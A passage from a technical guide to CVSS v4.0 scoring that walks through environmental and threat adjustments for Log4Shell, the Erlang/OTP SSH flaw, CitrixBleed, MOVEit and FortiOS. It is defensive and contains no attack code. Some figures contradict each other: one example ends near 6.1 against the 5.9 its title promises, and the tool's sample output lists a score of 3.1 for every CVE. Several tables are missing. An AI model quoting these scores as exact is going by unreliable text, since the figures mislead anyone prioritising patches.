Threat update: E:P (POC publicly available)
EPSS: immediately climbs toward 0.90+
CVSS-BT: still 10.0 Critical (E:P keeps score near maximum)
What changed operationally: The window for "orderly patching" closed.
Evidence of active scanning meant any vulnerable internet-facing system
was being actively probed.

Hour 48–72: Mass Exploitation — Botnets, Ransomware, State Actors

By December 11–13, CISA confirmed active exploitation. The KEV catalog entry was published with a remediation due date of December 24, 2021 (for federal agencies). NSA, GCHQ, and CISA issued joint advisories. Threat actors confirmed exploiting Log4Shell included Conti ransomware affiliates, Iranian state actors (APT35/Charming Kitten), Chinese state actors, and multiple criminal groups.

Threat update: E:A (actively exploited — CISA KEV confirmed)
CVSS-BT: 10.0 Critical (E:A maximum)
Any environmental adjustment to MAV or MAC must be verified:
  "Is this system actually isolated from the internet?"
  → Internet-facing: 10.0 - immediate patch, no exceptions
  → Internal, no JNDI enabled: consider E:P + MAV:A → ~7.4 High
  → Internal, JNDI disabled in Log4j config: document mitigation as
    compensating control; MAT:P or MAC:H may apply
Note: CVE-2021-45046 (bypass for initial mitigations) and
CVE-2021-45105 (DoS) were published within days, complicating patching.

Final Score Comparison: Same CVE, Different Contexts

Key lesson: Even for a genuine 10.0 emergency, environmental context changes the response mechanism even when it cannot reduce the overall priority. An internet-facing production server and an internal test instance require different actions, documented by CVSS-BTE.

Worked Example 2: CVE-2025–32433 Erlang/OTP SSH — From 10.0 to 5.9

CVE-2025–32433 is an unauthenticated pre-auth RCE in Erlang/OTP’s SSH server. Base score 10.0. This example demonstrates how environmental context appropriately reduces emergency response to scheduled patching.

Step 0: The Base Score (NVD Published)

Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Score:  10.0 Critical
Reading the vector:
  AV:N  - SSH is exposed (vendor assumes internet-facing, worst case)
  AC:L  - Exploitation is straightforward once you reach the SSH port
  AT:N  - No special configuration required; default OTP SSH setup is vulnerable
  PR:N  - Pre-authentication RCE - no credentials needed
  UI:N  - No user interaction required
  VC:H  - Full code execution on the Erlang/OTP process
  VI:H  - Attacker can write files, modify state
  VA:H  - Can crash or kill the OTP application
  SC:H  - Erlang applications often manage distributed systems; lateral pivot possible
  SI:H, SA:H - Downstream system compromise possible

Step 1: Modify Attack Vector — Is SSH Actually Exposed?

Question: Is this Erlang/OTP SSH service accessible from the internet?
Scenario A - Internet-facing (load balancer → Erlang cluster):
  No change. AV:N is accurate. Score: 10.0.
  This is a genuine emergency. Patch or firewall the port immediately.
Scenario B - Internal cluster, accessible from corporate network only:
  MAV:A (Modified Attack Vector: Adjacent)
  Evidence: Firewall rule FW-1042, network topology confirms no external routing.
  Updated vector: CVSS:4.0/.../MAV:A
  Updated score:  9.4 Critical
  Still Critical - but attacker must have already penetrated your perimeter.
  Different threat model.

Step 2: Add Attack Complexity — Compensating Controls

In many corporate deployments, SSH access also requires:
  - VPN connection with hardware token MFA
  - Jump host (bastion server) with session recording
  - IP allowlist restricting to specific admin hosts
→ MAC:H (Modified Attack Complexity: High)
Updated vector: CVSS:4.0/.../MAV:A/MAC:H
Updated score:  8.7 High
Now in High tier - 30-day SLA instead of a 24–72 hour emergency response.

Step 3: Add Threat Intelligence

Checking sources (as of initial disclosure):CISA KEV: Not listed (at time of initial disclosure)
EPSS:     ~0.04 initially (low exploitation probability, no weaponized exploit yet)
ExploitDB: No entry yet
GitHub:   POC repositories appeared within days of disclosure (search CVE-2025-32433)
→ E:P (Proof of Concept exists, not yet actively exploited in wild)
Updated vector: CVSS:4.0/.../E:P/MAV:A/MAC:H
Updated score:  7.4 High
If KEV entry appears: immediately reclassify to E:A → score rises back toward 9.0

Step 4: Assess Subsequent System Impact

Question: Can this Erlang/OTP node reach sensitive downstream systems?
Scenario A - Erlang node manages distributed message queue with connections
to all application databases:
  No change to SC/SI/SA - the blast radius is real.
  Score stays at 7.4 High.
Scenario B - Isolated analytics Erlang node, read-only DB access,
no write access to production systems:
  MSC:L / MSI:N / MSA:L
  "Node only reads from replica DB, no write paths, no service account
  with production access. Network egress rules FW-2089 confirmed."
  Updated score: ~6.1 Medium

Final Comparison Table

The takeaway: A genuine 10.0 pre-auth RCE becomes a 5.9 Medium for an internal, MFA-protected, isolated node with no active exploit. That is not negligence — that is accurate risk modeling.

Worked Example 3: Firmware Report — 18 Criticals Become Medium

This example demonstrates how Environmental metrics transform a firmware scanner report into an actionable prioritized list.

The Problem

A firmware scan of an industrial IoT sensor returns:

The raw scanner output shows 3 Critical CVEs and 13 High CVEs — all requiring immediate response under Base-only scoring.

The Device Context

• Industrial flow sensor on a process control OT network
• Not internet-accessible — connected only to local OT subnet
• Read-only sensor data; no PII, no financial data
• No GUI, no interactive user sessions
• Vendor scored all CVEs assuming internet-facing deployment (BusyBox can be deployed anywhere)

Key Environmental Adjustment: MAV:A

BusyBox CVEs with AV:N assume the applet is accessible from the internet. On this sensor, it is accessible only from the adjacent OT subnet. Single adjustment: MAV:A.

Before and After

Summary transformation:

Result: The 3am emergency patching requirement disappears. The highest-priority items are now High severity, manageable within the next OT maintenance window. A team that was facing a weekend emergency now has a structured, scheduled response.

Important Caveat: Safety Metrics for OT

If this sensor is part of a safety-critical process control system (chemical plant, power grid, water treatment), add the Supplemental Safety metric:

/S:P (Safety: Present)
This does not change the CVSS score. But it flags to any responder
that exploitation could have physical safety consequences - and those
consequences must be evaluated against the CVSS-BTE severity.
A CVSS-BTE 6.5 Medium with S:P on a safety controller may require
faster response than a 7.9 High with S:N on an admin workstation.

Worked Example 4: CitrixBleed, MOVEit, FortiOS

Three real-world cases from 2023–2024 that illustrate different CVSS adjustment scenarios.

Case A: CVE-2023–4966 — CitrixBleed (Citrix NetScaler)

Vulnerability: Sensitive information disclosure in Citrix NetScaler Application Delivery Controller (ADC) and Gateway. An unauthenticated attacker could retrieve session tokens, enabling session hijacking without credentials. Used extensively by ransomware affiliates (LockBit, Medusa) and government-sector attackers.

Base Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H
Base Score: 9.4 Critical
Reading the base vector:
  AV:N  - NetScaler is internet-facing by design (it is a load balancer/VPN endpoint)
  AC:L  - Single HTTP request to /gwtest/formssso endpoint
  AT:N  - No special preconditions; affects default configuration
  PR:N  - Unauthenticated
  UI:N  - No user interaction
  VC:H  - Session token retrieved → full user account access
  VI:N  - The vulnerability itself doesn't modify data on NetScaler
  VA:N  - No availability impact from session theft
  SC:H  - Session tokens enable access to downstream internal resources
  SI:H  - Attacker with stolen session can modify data in downstream systems
  SA:H  - Downstream systems can be disrupted
CISA KEV: Added October 18, 2023 (within weeks of disclosure)
EPSS: ~0.97+ (extremely high, immediate mass exploitation)
Threat actors: LockBit affiliate, Boeing breach (confirmed), Allen & Overy, more

Environmental scoring for an external-facing Citrix deployment:

For a typical enterprise with internet-facing NetScaler:
  E:A  — In CISA KEV, confirmed ransomware exploitation
BTE (no modification possible - it IS internet-facing):
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/E:A
Score: 9.4 Critical - Immediate response required.
No environmental adjustment can justify delay here.
If you have an internet-facing NetScaler, this requires a 24–72 hour emergency response.

Key operational point: CitrixBleed demonstrates why E:A (CISA KEV entry) must immediately override any environmental reduction arguments. The question is not "is our NetScaler important enough to patch quickly?" The question is "are there ransomware groups scanning for CitrixBleed right now?" The answer (confirmed by CISA, FBI, and multiple incident response reports) was: yes.

Case B: CVE-2023–34362 — MOVEit Transfer SQLi

Vulnerability: SQL injection in Progress Software’s MOVEit Transfer managed file transfer platform. Exploited exclusively by the Cl0p ransomware group in a coordinated mass-exploitation campaign in May–June 2023. Affected 2,000+ organizations globally, including government agencies, hospitals, and financial firms.

Base Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Base Score: 9.8 Critical
Key characteristics:
  AT:N - Default configuration is vulnerable
  AU:Y (Supplemental: Automatable: Yes) - Cl0p used automated mass exploitation
  V:C  (Supplemental: Value Density: Concentrated) - File transfer platforms hold
       files from MANY organizations → single compromise = mass data access

The supply chain scoring challenge:

MOVEit Transfer is a managed file transfer service. Organizations that used it often uploaded data from multiple business partners. The Subsequent System impact in v4.0 terms extends not just to internal systems, but to third-party data processed through the platform.

For a MOVEit instance processing healthcare data for 50 partner organizations:
SC:H (data from all 50 partner orgs is accessible)
SI:H (data integrity of all 50 orgs' files at risk)
SA:H (disruption affects all 50 orgs' workflows)
This is exactly the v4.0 Subsequent System model working as intended.
The "blast radius" in SC/SI/SA must reflect the full downstream exposure,
not just the immediate server.

Case C: CVE-2024–21762 — FortiOS SSL VPN Out-of-Bounds Write

Vulnerability: Out-of-bounds write in FortiOS and FortiProxy SSL VPN. Enables unauthenticated remote code execution via specially crafted HTTP requests. Exploited by Chinese state-sponsored threat actors (attributed to Volt Typhoon and related clusters) for initial access into US critical infrastructure.

Base Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Base Score: 9.6 Critical
CISA KEV: Added February 9, 2024
Attribution: Chinese state actors (Volt Typhoon, BRONZE SILHOUETTE)
Targets: US telecom, utilities, water systems, defense contractors
EPSS: ~0.97+

Why environmental adjustments cannot help here:

Some organizations attempted to argue:
  "Our FortiGate is behind our ISP's firewall" → This is the perimeter device;
  it IS the firewall. MAV:A does not apply.
"We have IDS monitoring" → FortiOS exploitation bypasses host-based monitoring
  because the exploit targets the device providing network access.
  "We have incident response capability" → This affects recovery, not exploitability.
For any internet-facing SSL VPN endpoint: E:A + AV:N = no score reduction possible.
The CVSS-BTE remains at or near 9.6 Critical.

Key lesson from these three cases: Environmental metrics are for reducing false priorities on legitimate non-urgent vulnerabilities. They are not for manufacturing justifications to defer critical work. When CISA KEV + high EPSS + confirmed exploitation by nation-state or ransomware actors = E:A, your response is patching, not scoring.

Industry-Specific Scoring: Healthcare, Finance, OT/ICS

Different industries have fundamentally different CIA priority models. This affects how Security Requirements (CR/IR/AR) should be set.

Healthcare (HIPAA Environment)

In healthcare, Confidentiality is paramount — HIPAA civil penalties range from ~$137 to ~$68,928 per violation (inflation-adjusted tiers as of 2023), with annual caps per violation category up to $2M+. Patient data exposure is the primary risk.

Healthcare Security Requirements Profile:
  CR:H — Patient data confidentiality: extremely high (HIPAA, HITECH)
  IR:H — Clinical data integrity: critical (wrong data → clinical decisions)
  AR:H — System availability: high (clinical workflows depend on uptime)
Example: CVE on a hospital's Electronic Health Record (EHR) system:
Base: CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Base Score: 5.3 Medium
With healthcare profile:
  /CR:H/IR:H/AR:H
BTE Score: ~7.1 High - urgent patching required
Same vulnerability on internal developer workstation:
  /CR:L/IR:L/AR:L/MAV:L
BTE Score: ~2.8 Low - next maintenance window

Healthcare-specific supplemental metrics:

• S:P (Safety: Present) — for vulnerabilities in infusion pumps, ventilators, monitoring systems
• R:I (Recovery: Irrecoverable) — for ransomware affecting PACS/clinical imaging

Financial Services (PCI-DSS / SOX Environment)

In finance, Integrity is often more critical than Confidentiality — financial data manipulation can cause immediate monetary loss, while data disclosure may take weeks to monetize.

Financial Services Security Requirements Profile:
  CR:H — Customer financial data: high (regulatory, reputational)
  IR:H — Transaction integrity: CRITICAL (fraud, unauthorized transfers)
  AR:H — Trading/payment systems: critical (SLAs, regulatory requirements)
Key distinction from healthcare: IR:H often matters MORE than CR:H here.
Example: SQL injection in a payment processing portal:
Base: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Base Score: 8.9 High
With PCI environment profile for payment card data scope:
  /CR:H/IR:H/AR:H
BTE Score: ~9.4 Critical - treat as emergency
Same vulnerability on a market-data read-only display terminal:
  /CR:L/IR:L/AR:L/MAV:A
BTE Score: ~4.1 Medium

OT/ICS (Industrial Control Systems)

In OT environments, Availability and Safety often supersede Confidentiality. Data breaches are bad; plant shutdowns and physical harm are catastrophic.

OT/ICS Security Requirements Profile:
  CR:L  — Process data is often not sensitive (flow rates, temperatures)
  IR:H  — Control data integrity is critical (wrong setpoint = equipment damage)
  AR:H  — Process availability is critical (plant shutdown = immediate loss)
  S:P   — Many OT vulnerabilities have physical safety implications
Critical distinction: In OT, patching is NOT always possible on short timelines.
A patch that requires a production system restart may be more disruptive than
the vulnerability itself.
CVSS-BTE for OT must account for:
  1. The actual network exposure (almost always MAV:A or MAV:L for OT)
  2. The patching cost (use Vulnerability Response Effort: RE:H for OT)
  3. The safety impact (Safety: S:P when applicable)
Example: CVE on a Siemens S7 PLC (SCADA context):
Base: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H
Base Score: 9.3 Critical
OT environmental adjustment:
  MAV:A  - PLC on isolated OT VLAN, air-gapped from corporate
  MAC:H  - Access requires physical OT network entry (secured facility)
  CR:L   - Process data is non-sensitive
  IR:H   - Control integrity critical
  AR:H   - Process availability critical
  /S:P   - Physical safety implications (supplemental, not scored)
  /RE:H  - Patching requires production window, vendor support (supplemental)
BTE Score: ~7.8 High
Action: Schedule for next maintenance window (may be months away)
Interim mitigation: Network segmentation controls (document in CVSS-BTE)

Industry Scoring Profile Quick Reference

CVSS vs SSVC: When to Use Which

SSVC (Stakeholder-Specific Vulnerability Categorization) is CISA’s decision-tree framework for vulnerability prioritization. It is an alternative (not replacement) to CVSS that uses a different model.

How SSVC Works

SSVC asks four questions in sequence, each with structured answers:

1. Exploitation Status
   → None / POC / Active
   (same concept as CVSS E metric, but drives the whole tree)
2. Automatable
   → Yes / No
   (Can the vulnerability be exploited at scale without human interaction?)
3. Technical Impact
   → Partial / Total
   (Does exploitation give total system control or partial?)
4. Mission and Well-being Impact
   → Minimal / Material / Irreversible
   (What is the downstream organizational and human impact?)
Outputs (instead of a number): Track / Attend / Act / Immediate

CVSS vs SSVC Comparison

When to Use Each

Use CVSS when:

• Regulatory compliance requires it (PCI DSS, HIPAA, NIS2, NIST RMF)
• You need a numeric score for SLA tracking and audit trails
• You are integrating with SIEM, ticketing systems, or scanners that consume CVSS vectors
• You need fine-grained documentation of WHY a vulnerability is de-prioritized
• Supply chain transparency (SBOM, vendor contracts)

Use SSVC when:

• You need rapid triage without deep metric analysis
• Your team is small and lacks time for full CVSS-BTE enrichment
• You are in a government/defense context where CISA guidance is authoritative
• You want a clear output for non-technical stakeholders (“Act on this now” vs “Track it”)

Use both when:

• CVSS-BTE for documentation, compliance, and audit
• SSVC for team-level triage and prioritization decisions
• Both frameworks reaching the same conclusion = high confidence

Example comparison — CVE-2023–4966 (CitrixBleed):

CVSS-BTE (internet-facing NetScaler, E:A):
  Score: 9.4 Critical
  SLA: Patch within 24 hours
  Documentation: vector string with E:A, justification for each metric
SSVC:
  Exploitation: Active
  Automatable: Yes (scanning was automated, documented)
  Technical Impact: Total (full session token theft)
  Mission/Well-being: Irreversible (customer data exposure, regulatory)
  → Decision: Immediate
Both outputs agree: drop everything, patch now.

The Practical VM Workflow: From Scanner Output to Prioritized Action

The 6-Step Process

┌───────────────────────────────────────────────────────────────┐
│             VULNERABILITY MANAGEMENT WORKFLOW (CVSS v4.0)     │
│                                                               │
│  Step 1: INGEST                                               │
│    Scanner Report → extract all CVE IDs + Base Vectors        │
│    (Tenable, Qualys, Rapid7, Wiz all export CVE IDs)          │
│                                                               │
│  Step 2: THREAT ENRICHMENT (automated, applies to all CVEs)   │
│    ┌─────────────────────────────────────────────────────┐    │
│    │ CISA KEV API → E:A if listed                        │    │
│    │ EPSS API → E:P if ≥ 0.1, E:U if < 0.1               │    │
│    │ Override: E:A if KEV regardless of EPSS             │    │
│    └─────────────────────────────────────────────────────┘    │
│                                                               │
│  Step 3: ASSET GROUPING                                       │
│    Group CVEs by affected system/network zone                 │
│    Tag each group: zone, data class, compensating controls    │
│                                                               │
│  Step 4: ENVIRONMENTAL ENRICHMENT (per asset group)           │
│    ┌─────────────────────────────────────────────────────┐    │
│    │ Network zone → MAV value (N/A/L/P)                  │    │
│    │ Access controls → MAC value (L/H)                   │    │
│    │ Data classification → MVC/MVI values                │    │
│    │ Blast radius → MSC/MSI/MSA values                   │    │
│    │ Asset criticality → CR/IR/AR values                 │    │
│    └─────────────────────────────────────────────────────┘    │
│                                                               │
│  Step 5: RECALCULATE ALL SCORES                               │
│    CVSS v4.0 calculator API or FIRST.org calculator           │
│    Output: CVSS-BTE score per CVE per asset group             │
│                                                               │
│  Step 6: PRIORITIZE AND ACT (by CVSS-BTE)                     │
│    Critical (9.0+): 24–72 hours — emergency response          │
│    High (7.0–8.9):  30 days — planned sprint                  │
│    Medium (4.0–6.9): 90 days — next maintenance window        │
│    Low (<4.0): Next major release / accept risk               │
└───────────────────────────────────────────────────────────────┘

CVSS v4.0 Enrichment Tool

The pipeline described throughout this section is available as a standalone command-line tool: cvss_enrichment_tool (GitHub).

git clone https://github.com/anpa1200/cvss_4.0.git 
cd cvss_4.0
pip3 install requests
python3 cvss_enrichment_tool.py --cves CVE-2021-44228 CVE-2023-4966 --profile internet_facing

How It Works

The tool implements the three-stage enrichment pipeline in a single automated run:

CVE IDs → NVD API (Base vector) → CISA KEV (E:A?) → EPSS API (E:P/E:U?)
        → Apply asset profile (MAV/MAC/CR/IR/AR/MSC...)
        → Output CVSS-BTE vector + severity band + SLA recommendation

Stage 1 — Base vector (NVD API 2.0). For each CVE ID the tool queries services.nvd.nist.gov and retrieves the CVSS vector string. It prefers a v4.0 vector; if only a v3.1 vector exists (common for CVEs predating November 2023), it applies threat-only enrichment and flags the result for manual re-scoring at the FIRST.org calculator.

Stage 2 — Threat enrichment (KEV + EPSS). The tool downloads the full CISA KEV catalog in a single request and checks each CVE against it. If listed → E:A. Otherwise it queries the FIRST.org EPSS API: EPSS ≥ 0.5 or ≥ 0.1 → E:P; below 0.1 → E:U.

Stage 3 — Environmental enrichment (asset profile). Modified Base metrics and Security Requirements from the selected profile are appended to the vector. The tool ships with six built-in profiles — internet_facing, internal_vlan, isolated_ot, dev_test, healthcare_ehr, pci_payment — covering the most common deployment contexts described in this article.

Output

The tool prints a severity-ranked table and optionally writes CSV (--output) or JSON (--json) for import into ticket systems or dashboards:

CVE                   CVSS   KEV     EPSS  E      Severity    SLA
──────────────────────────────────────────────────────────────────
CVE-2021-44228         3.1   YES   0.9446  E:A    Critical    24–72 hours
CVE-2023-4966          3.1   YES   0.9435  E:A    Critical    24–72 hours
CVE-2023-34362         3.1   YES   0.9437  E:A    Critical    24–72 hours
CVE-2024-21762         3.1   YES   0.9308  E:A    Critical    24–72 hours
CVE-2025-32433         3.1   YES   0.5031  E:A    Critical    24–72 hours

Full documentation, profile definitions, and NVD API key instructions are in the repository README: https://github.com/anpa1200/cvss_4.0

CVSS as Regulatory Framework: The 5-Phase Maturity Model

The CVSS v4.0 lifecycle (CVSS-B → CVSS-BT → CVSS-BTE) maps directly to a regulatory maturity roadmap. This framework was formalized by Rob Arnold (Acorn Pass / CVSS Associates) in the whitepaper “Enhancing National Cyber Resilience: CVSS v4.0 as a Regulatory Framework” (2025).

The 5 Phases + SCRM Track

The Gaming Prevention Problem

At Phase 5, CVSS-BTE scores can be lower than CVSS-B. This creates an incentive: organizations might manipulate Environmental metrics to claim compliance while leaving real vulnerabilities unaddressed.

The regulatory countermeasure:

Auditors verify environmental claims against evidence:

• MAV:A claimed → auditor validates against firewall rules, network diagrams, penetration test results
• MAC:H claimed → auditor validates against policy documents, VPN logs, MFA enrollment records
• MSC:N claimed → auditor validates against network topology and egress controls

Auditors verify response to changing E metrics:

• If E:U was set last quarter and the CVE just entered CISA KEV, did the organization detect this change?
• Did they update the E metric from U to A?
• Did they escalate the remediation priority accordingly?

The principle from the FIRST.org guide: CVSS-BTE scores are defensible precisely because they are documented and auditable. An organization cannot reduce a score without leaving an evidence trail that auditors can verify.

Regulatory Applications by Framework:

Supply Chain CVSS (SCRM Track)

Organizations at Phase 5 embed CVSS requirements in supplier contracts:

Example supplier contract language:
1. The Supplier shall disclose CVSS v4.0 Base vectors for all
   vulnerabilities in delivered software within 5 business days
   of CVE publication.
2. The Supplier shall provide software updates or documented
   mitigations sufficient to enable the Buyer to achieve a
   CVSS-BTE score of ≤ Medium (6.9) for all High or Critical
   Base vulnerabilities.
3. The Supplier shall include CVSS v4.0 vectors for all known
   vulnerabilities in all Software Bills of Materials (SBOMs).
4. The Supplier shall notify the Buyer within 24 hours if any
   vulnerability in delivered software enters the CISA KEV catalog.

Supplemental Metrics: The Overlooked Context Layer

Supplemental metrics do not change the CVSS score. They add human-readable operational context that the numeric score cannot capture. Think of them as structured analyst notes attached to the vulnerability record.

AU:Y — Automatable Exploitation

AU:Y means an attacker can script the exploit to run against thousands of targets without human intervention. This is the worm-capability indicator.

Why it matters beyond the CVSS score:

Log4Shell (AU:Y) was being exploited by automated scanners within 24 hours of POC release. A CVSS-BTE score of 7.4 High with AU:Y requires faster response than an 8.0 High with AU:N that requires a custom, targeted attack chain.

Real examples with AU:Y:

• Log4Shell (CVE-2021–44228) — AU:Y: log any HTTP request, mass exploitation immediate
• MOVEit Transfer (CVE-2023–34362) — AU:Y: Cl0p ran fully automated campaign
• HTTP/2 Rapid Reset (CVE-2023–44487) — AU:Y: DDoS amplification automated
• Heartbleed (CVE-2014–0160) — AU:Y: automated scanners ran within hours

S:P — Safety Impact in OT/Medical

S:P (Safety: Present) flags that exploitation could result in physical harm to people or property. This metric is essential for:

• Industrial control systems (chemical plants, power grids, water treatment)
• Medical devices (infusion pumps, ventilators, pacemakers)
• Automotive systems (ECU vulnerabilities)

Example: Vulnerability in a pharmaceutical manufacturing control system
CVSS-BTE score: 5.9 Medium (due to MAV:A environmental adjustment)
Supplemental: /S:P (Safety: Present)
Without S:P context, this looks like a 90-day scheduled patch.
With S:P context, the medical device safety team must evaluate whether
the vulnerability could cause incorrect dosing, batch contamination,
or equipment failure - potentially regardless of the numeric CVSS score.

R:I — Irrecoverable Systems

R:I (Recovery: Irrecoverable) means successful exploitation causes permanent damage that cannot be remediated without hardware replacement, data restoration from backup, or destructive re-imaging.

Relevant scenarios:

• Ransomware affecting backup systems (R:I — cannot restore without the backups)
• Firmware corruption on embedded devices (R:I — requires physical device replacement)
• Cryptographic key material theft (R:I — compromised keys cannot be “un-stolen”)
• Industrial control setpoint modification causing equipment damage (R:I — physical damage)

The 8 Most Common CVSS Mistakes

Mistake 1: Treating the Base Score as the Final Answer

The Base score is produced by a vendor who has never seen your environment. It reflects the worst-case scenario for their entire customer base. For any specific deployment, it is almost always an overestimate. Always enrich with Threat and Environmental metrics before prioritizing remediation.

What it looks like: Team sorts scanner output by Base score, assigns SLAs based on Critical/High/Medium bands from raw scanner, spends 90% of effort on low-risk vulnerabilities because their Base scores are high.

Mistake 2: Never Setting E:U for CVEs Without Exploit Evidence

Leaving E:X (Not Defined) means CVSS assumes every CVE is actively exploited. Given that ~95% of CVEs have no known working exploit, this guarantees your prioritization is inverted. Setting E:U for no-exploit CVEs is not optimism — it is accuracy and it is required for CVSS to function as a tool rather than a scare generator.

The fix: Automate KEV + EPSS checks for all new CVEs. Default new CVEs without KEV or EPSS signal to E:U.

Mistake 3: Applying the Same Environmental Profile to All Systems

An internet-facing web application and an air-gapped industrial controller have entirely different attack vectors, compensating controls, and data sensitivity. Applying identical Environmental metrics to both produces inaccurate scores for both systems. Define asset groups and apply distinct profiles per group.

Mistake 4: Not Documenting Environmental Adjustments

If you lower a CVE from 9.8 to 4.2 using MAV:A/MAC:H/MSC:N but cannot produce evidence for each adjustment when an auditor asks, those adjustments provide no compliance value. Every Modified metric must cite a specific control, policy, network diagram, or asset classification document.

Mistake 5: Confusing CVSS-BTE with Risk Score

CVSS-BTE measures severity adjusted for your environment. It is not a risk score. A CVSS-BTE 5.0 Medium vulnerability on a system controlling a nuclear cooling pump may represent existential organizational risk. CVSS informs prioritization within a risk framework — it is not the risk framework itself. Overlay CVSS-BTE with asset criticality, business impact, and regulatory consequence to produce risk decisions.

Mistake 6: Static Environmental Metrics

Environmental metrics become stale the moment your environment changes. A system that was air-gapped (MAV:A justified) may have had a cloud management connector added three months later. The MAV:A you documented is now wrong, and your 4.5 Medium is actually an 8.9 High.

The fix: Tie Environmental metric review to change management. Any change to a system’s network connections, access controls, or data classification should trigger a CVSS-BTE re-evaluation.

Mistake 7: Using v3.x Vectors with v4.0 Tools (and Vice Versa)

CVSS v4.0 vectors are incompatible with v3.x parsers. The S (Scope) metric from v3.x does not exist in v4.0; the dual-system impact model (VC/VI/VA + SC/SI/SA) does not exist in v3.x. Tools that parse v3.1 vectors will misinterpret v4.0 vectors and produce incorrect scores. Verify scanner, SIEM, and ticketing system compatibility with CVSS v4.0.

Check your tools: As of early 2025, Tenable Nessus, Qualys VMDR, and Rapid7 InsightVM all publish CVSS v4.0 scores for new CVEs, but legacy integrations may still expose v3.1 scores by default. Check API output, not just UI display.

Mistake 8: Treating CISA KEV as the Only Source of E:A

CISA KEV is the best publicly available source for E:A determination, but it has coverage gaps. CISA focuses on US federal agency exposure; some CVEs exploited extensively in other regions or sectors may not appear in KEV. Supplement with:

• Vendor advisories that explicitly state “under active exploitation”
• Commercial threat intelligence feeds (Mandiant, Recorded Future, Greynoise)
• CERT/CC, national CERT advisories (CERT-EU, BSI, ANSSI)
• Industry-specific ISACs (FS-ISAC for finance, H-ISAC for healthcare)

Quick Reference Cheatsheet

CVSS v4.0 Base Metrics — Complete Reference

ATTACK VECTOR (AV):
  N = Network     — Remotely exploitable from internet
  A = Adjacent    — Same network segment / LAN required
  L = Local       — Local interactive shell access required
  P = Physical    — Physical device access required
ATTACK COMPLEXITY (AC):
  L = Low   - Repeatable without special conditions; script it
  H = High  - Requires active bypass of security mechanisms (ASLR, race condition)
ATTACK REQUIREMENTS (AT):  [NEW in v4.0 - replaces part of old AC]
  N = None    - No special deployment configuration needed
  P = Present - Non-default config must be present in deployment
PRIVILEGES REQUIRED (PR):
  N = None  - Unauthenticated / pre-auth
  L = Low   - Regular user account
  H = High  - Administrator / root / privileged service account
USER INTERACTION (UI):
  N = None    - Attacker acts alone, no victim participation
  P = Passive - Victim views/receives something (opens page, email preview)
  A = Active  - Victim explicitly performs an action (clicks link, runs file)
VULNERABLE SYSTEM (VC/VI/VA):  [Replaces C/I/A in v3.x]
  N = None    H = High    L = Low
SUBSEQUENT SYSTEM (SC/SI/SA):  [Replaces Scope Changed in v3.x]
  N = None    H = High    L = Low

Exploit Maturity (E) — Decision Flowchart

Is CVE in CISA KEV?
  → YES: E:A (Attacked) ─────────────────────────────────────────┐
  → NO: ↓                                                        │
                                                                 │
Is EPSS ≥ 0.10?                                                  │
  → YES (0.1–0.5): Verify ExploitDB/Metasploit/GitHub → E:P      │
  → YES (≥ 0.5):  High exploitation probability → E:P minimum    │
  → NO:  ↓                                                       │
                                                                 │
Is there a public exploit? (ExploitDB, Metasploit, GitHub)       │
  → YES: E:P (Proof of Concept)                                  │
  → NO:  E:U (Unreported)                                        │
                                                                 └→ Maximum priority, patch immediately

Environmental Metric Quick Decisions

"Is this system reachable from the internet?"
  YES → No AV change needed       NO → MAV:A (or L/P for more isolated)
"Does reaching this system require bypassing MFA/VPN/jump host?"
  YES → MAC:H                     NO → No AC change needed
"Does this system handle your most sensitive data?"
  NO → MVC:L (or N)              YES → No VC change, or set CR:H
"Can this system affect other systems if compromised?"
  NO → MSC:N/MSI:N/MSA:N        YES → No change, blast radius is real
"Is this a test/dev environment?"
  YES → CR:L/IR:L/AR:L           NO → Keep vendor defaults or raise CR/IR/AR

Score Impact Reference (Approximate)

Note: CVSS v4.0 uses lookup tables, not formulas — these are empirical approximations.

Common Vector String Examples

# Worst case — all vendor defaults, no enrichment:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
→ 10.0 Critical
# Internet-facing, actively exploited (CISA KEV):
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A
→ 10.0 Critical (E:A maintains maximum - patch immediately)
# Internet-facing, POC exists, not yet actively exploited:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
→ ~8.4 High (7-day SLA)
# Internal (adjacent network), POC exists, MFA VPN required:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/MAV:A/MAC:H
→ ~7.4 High (30-day SLA)
# Internal, isolated (no subsequent system paths), no exploit evidence:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:U/MAV:A/MAC:H/MSC:N/MSI:N/MSA:N
→ ~4.5 Medium (90-day SLA)
# OT sensor, adjacent network, non-sensitive data, no subsequent paths:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:U/MAV:A/MAC:H/CR:L/MSC:N/MSI:N/MSA:N
→ ~3.9 Low (next maintenance window)

SLA Tiers by CVSS-BTE Score

Conclusion

CVSS v4.0 answers the question that vulnerability managers have been asking for years: “Why is my scanner showing 500 Critical vulnerabilities when I clearly cannot patch all of them this week?”

The answer is not that CVSS is broken. The answer is that CVSS Base scores were never intended to be your final answer. They are the starting point — a common language between a vendor who does not know your environment and a security team that does.

